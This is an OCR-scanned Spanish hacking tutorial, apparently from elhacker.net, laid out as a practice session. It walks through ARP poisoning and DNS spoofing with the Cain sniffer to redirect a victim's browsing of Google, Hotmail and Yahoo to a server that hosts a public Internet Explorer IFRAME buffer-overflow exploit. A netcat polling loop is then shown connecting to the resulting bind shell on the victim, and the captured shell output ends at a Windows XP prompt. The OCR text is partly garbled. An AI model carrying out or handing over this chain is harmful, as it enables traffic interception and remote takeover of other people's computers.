Gospel Taller practico de Intrusién en Redes Locales

Practica 6 — Obtener una shell remota cuando la victima
accede a Internet con el navegador Microsoft Internet
Explorer.

Teoria:

El dia 2 de Noviembre de 2004 se public6 en Bugtraq una vulnerabilidad que
afectaba al navegador Microsoft Internet Explorer 6.0 instalado en Windows
2000 o0 Windows XP con cualquier Service Pack, excepto XP/SP2.

La vulnerabilidad, del tipo buffer overflow, se produce al introducir cadenas
demasiado largas en las propiedades SRC y NAME de las etiquetas <FRAME> e
<IFRAME>.

Tras la publicacion de un exploit .html malicioso para la vulnerabilidad, cierto
atacante puede situarse como Man in the Middle entre el equipo victima y el
router (puerta de enlace) y envenenar la traduccién DNS, de forma que cuando
la victima quiera acceder a cierta URL, la peticion sea redireccionada al .html
malicioso instalado en un servidor HTTP complice del atacante.

Cuando la victima descargue el .html malicioso en su navegador IE, se explotara
la vulnerabilidad, dejando en escucha un puerto para que el atacante se conecte
a éste y obtenga una shell remota.

Aplicacién practica:

Envenenamiento ARP + Envenenamiento DNS + Explotacion de
vulnerabilidades en Microsoft Internet Explorer

Escenario:
Atacante: 10.10.0.69
Victima: 10.10.0.254

Router (Puerta de Enlace): 10.10.0.33
Servidor HTTP complice: 10.10.0.250 (puede ser el atacante también).

Herramientas:

Vamos a utilizar el Sniffer Cain @ http://www.oxid.it/] para las operaciones de
Envenenamiento ARP y Envenenamiento DNS.
Para obtener la shell remota, podemos usar netcat o telnet.
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Procedimiento:

1. Instalar, configurar y poner en funcionamiento el Servidor HTTP complice.
Yo he elegido instalar el Servidor HTTP Apache. Para ello, dirigirse a
http://httpd.apache.org/download.cgiy descargarse el Win32 Binary.

2. Instalar el exploit .html malicioso como index.html del Servidor HTTP.
Podemos encontrar el cdédigo del exploit, escrito en javascript, en:

http: //www.edup.tudelft.nl/~bjwever/advisory iframe.html]
http: //www.k-otik.com/exploits/20041102.InternetExploiter.htm.php

Copiamos el codigo, lo guardamos como index.html y lo depositamos en la
carpeta C:\Apache\Apache2\htdocs)\ del Servidor HTTP complice.

3. Instalar, configurar y poner en funcionamiento el Sniffer Cain en el equipo
atacante.

4. Envenenar las tablas ARP del equipo victima y del router (Puerta de Enlace).

Las respectivas tablas ARP
- del equipo victima:

Interfaz: 10.10.0.254 --- 0x2
Direccion IP Direccion fisica  Tipo
10.10.0.33 00-C0-49-44-b1-d5 dinamico
10.10.0.69 00-05-1c-0a-ab-92 dinamico

- del router (Puerta de enlace):

Interfaz: 10.10.0.33 --- 0x2
Direccion IP Direccion fisica  Tipo
10.10.0.69 00-05-1c-0a-ab-92 dinamico
10.10.0.254 00-20-18-b0-06-df dinamico

deben ser envenenadas de forma que la nueva configuracion sea:
- del equipo victima:

Interfaz: 10.10.0.254 --- 0x2
Direccion IP Direccion fisica  Tipo
10.10.0.33 00-05-1c-0a-ab-92 dinamico
10.10.0.69 00-05-1c-0a-ab-92 dinamico

- del router (Puerta de enlace):

Interfaz: 10.10.0.33 --- 0x2

Direccion IP Direccion fisica  Tipo
10.10.0.69 00-05-1c-0a-ab-92 dinamico
10.10.0.254 00-05-1c-0a-ab-92 dinamico
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El Sniffer Cain permite efectuar este proceso de forma sencilla y automatica. En

la pestania Sniffer, subpestana APR, pulsar el boton + y aparecera el siguiente
cuadro, donde podemos seleccionar los dos equipos de la red cuyas tablas ARP
van a ser envenenadas:

e o

Mew ARP Poison Routing e

WwWARMNIMNG

APR enables vou to hijack IP traffic between the selected host on the left list and all
zelected hosts on the right list in both directions. |f a selected host haz routing capabilities
WA traffic will be intercepted alzo. Pleaze nate that since your maching haz nat the
zame perfarmance of a router pou could cause DoS if vou zet APR bebween your Default
Gateway and all other hozts on pour LAN.

IF address | Mac |« | IP address | tac |
10.10.0.97 00112FBA0ERC 10.10.0.64 000CGEDEEE7D
10.10.0.98 O0S0FCFATC2 10.10.0.61 000&CD032162
10.10.0.99 00071 290 07344 10.10.0.57 O00AE 4480719
10100100 E26ED004CRES 10.10.0.51 00400 05133E0
10100102 004F4E 123228 10.10.0.47 000 2 0C4CES
10100105 O00AE G354CE2 10.10.0.42 0000 E077DCCC
10100108 000E7E0091FD 10.10.0.33 00CO4944E105
10.10.0.149 001180230 9BE m 10.10.0.27 000000000000
10100176 00R0G7760ECA 10.10.0.25 000CF191503F
10.10.0.254 O02018B00EDF  + | 10.10.0.24 000039508EDEZ
1§ . B 1§ . B

] 4 I Cancel |

Es posible cambiar las propiedades por defecto del médulo de Envenenamiento
ARP:

I 1

Configuration Dialog (&)
Dictionary Dptions Brute-Force Dptions I Traceroute I
S riffer APR [ Arp Poizon Bouting |

— Spoofing Options
¢ lse Real IP and MAC addresses
" Ise Spoofed IP and MAL addresses

|P;| o .o . o0 .0 pAC: | 001122334455

— Pre-Paizoning
v Pre-Poizon ARP caches [ Create ARP entries |

— Paizaning
Poizon remote ARP caches eveny: 30 _:I seconds

{* Lse ARF Reply Packets
" Ise &RP Request Packets [More Metwork Traffic)

Aceptar I Cancelar AT

elhacker.net : PAPERS 3



Gospel Taller practico de Intrusién en Redes Locales

Activamos el Sniffer y el moédulo de Envenenamiento ARP (APR):

-
M Fie ‘View Configure Tools Help
oo+ o
Hf  Protected Storage | Lsa secrats | D network [&lp snitter [ cracker [ Traceroute [MED coou |

Status I IP address I MAC address I Packets -= I =- Packetzs I MAC address I IP address I
& Paoizoning 10.10.0.254 00201 8B0060F 0 0 00C045448105 10.10.0.33

y ya tendremos los dos equipos envenenados de forma que el trafico que
intercambien va a circular por el equipo del atacante.

5. Envenenar la traduccion DNS de las paginas mas susceptibles de ser
accedidas por la victima. Aunque yo s6lo he querido envenenar el nombre de
dominio de Google y alguno mas, podéis envenenar muchos y asi la victima
caera antes en nuestra trampa.

Podéis anadir la entrada DNS a envenenar desde la pestana Sniffer, subpestafia

APR-DNS, pulsando el boton +. Aparecera el siguiente cuadro, donde podemos
introducir el nombre de dominio a ser envenenado y la direccion IP a donde
queramos que sea redireccionada la peticion.

i M

DS Spoofer for APR )

—DMS Mame Requested

Iwww. google. es

— P addresz to rewrite in rezponge packets
I 10 .10 . 0 . 250 Resolve

] I Cancel |

Como he dicho antes, podemos afiadir también otros nombres de dominio:

u File “iew Configure Toolz Help

we|+o B <
ﬁ Protected Storaoe Iﬁ LS4 Secretz I@ PEtnork I@ Sniffer I@‘ﬂ Cracker I@

Feguested DMNS name | Spoofing P | #Resp. Spoofed |
sy hiotmail.com 10400250 ]
sy S OnKEE Com 10400250 ]
Wy yahoo es 10100250 1]
google es 10100250 1]
yahao e 10.10.0.250 ]

elhacker.net : PAPERS 4



Gospel Taller practico de Intrusién en Redes Locales

6. Ahora solo queda esperar a que la victima intente acceder con su navegador
IE a cualquiera de los nombres de dominio que hemos envenenado. Cuando esto
ocurra, la peticibn DNS serd procesada por el equipo atacante, situado como
Man in the Middle, y redireccionada al .html malicioso situado en el Servidor
HTTP complice. La victima descargara el exploit .html en su navegador y se
explotara la vulnerabilidad, dejando en escucha el puerto 28876. Pero esto sélo
ocurrira durante un breve periodo, ya que, lamentablemente, el puerto sblo
estara abierto mientras el navegador siga en activo. Y dado que la explotacién de
la vulnerabilidad hace que el proceso iexplore.exe se cuelgue, en cuanto la
victima mate el proceso (cierre el navegador), el puerto se cerrara y el atacante
no podra conectarse remotamente.

¢Cémo puede entonces saber el atacante cuando la victima tiene el puerto
abierto para poder conectarse remotamente?

Pues no puede, asi que yo he pensado en el siguiente procedimiento:

Ya que no podemos adivinar el momento exacto en el que el puerto estara
abierto para lanzar el netcat, ¢por qué no intentar la conexién cada poco tiempo,
periddicamente a intervalos cortos? Es decir, el atacante puede estar realizando
polling (encuesta) peridodicamente al equipo victima para conectarse
remotamente con netcat.

Mientras el puerto se encuentre cerrado, el equipo atacante seguira ejecutando
el bucle. Pero en cuanto el puerto se abra, netcat se conectara al instante y el
atacante obtendra la shell remota de la victima. Esta shell remota, permanecera
estable incluso aunque la victima cierre posteriormente el navegador.

Podemos lanzar netcat dentro de un bucle con el siguiente codigo:

\ C:\>FOR /L %:i IN (1,1,10000) DO nc 10.10.0.254 28876
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Lo dicho, después de cierto tiempo, la victima intentara acceder a un nombre de
dominio envenenado y el equipo atacante procesard esa peticion,
redireccionandola al .html malicioso del Servidor HTTP complice.

‘B

@@ |+w B eR2qegs Ry mmE~a0 0 0

|ﬂ Protected Storage |§ LS4 Secrets |§ Metwyork |§y Snitfer |éf Cracker |-@ Traceroute |!ﬂ] Ceou |

File “iew Configure Tools Help

Status | P address | MAC address | Packets = | =- Packets | MAC address | P address |
_.f"_.‘Poisoning 10100254 000DE1 128037 1] 0 00C04944B105 1010.0.33

Statusz | IP address | MALC address | Packets = | =- Packet= | MAC address | P address |
I Full-routing 10.10.0.254 000DET 128037 1 1 00C049448105 2ATAT2E42

‘B

B @ | B e 2 = B A EME RE - @
|ﬂ' Protected Storage |§' LSA Secrets I@ Motk |@ Shitfer |§j"l Cracker |-@

File  “iew Configure Tools Help

Requested DM name | Spoofing IP | #Resp. Spoofed |
sy hiotinail.comm 10100250 0
ey Aankis.com 10100250 ]
ey yahooes 10100250 u]
google es 10100250 u]
vyahoo.es 10100230 u]

En ese momento, se explotara la vulnerabilidad del Internet Explorer, dejando el
puerto en escucha para que netcat se conecte instantaneamente, de forma que el
atacante obtiene la shell remota, incluso aunque la victima cierre el navegador
posteriormente.

B Simbolo del sistema - nc 10.10.0.254 28876 =1k
C:“>FOR /L xi IN <1,1,1886@> DO nc 16.10.8.254 28876
10.10.8.254 28876
10.10.9.254 28876
10.10.8.254 28876
10.10.8.254 28876
1a. .254 28876
1a. .254 28876
1a. .254 28876
1a. .254 28876
1a. .254 28876
1a. .254 28876
1a. .254 28876
1a. .254 28876
ia. .254 28876
.254 28876
.254 28876
.254 28876
.18.0.254 28876

Vindows XP [Uersidn 5.1.26001
{C» Copyright 1985-28081 Microsoft Corp.

C:wDocuments and SettingssMNeo\Escritoriol>

elhacker.net : PAPERS 6



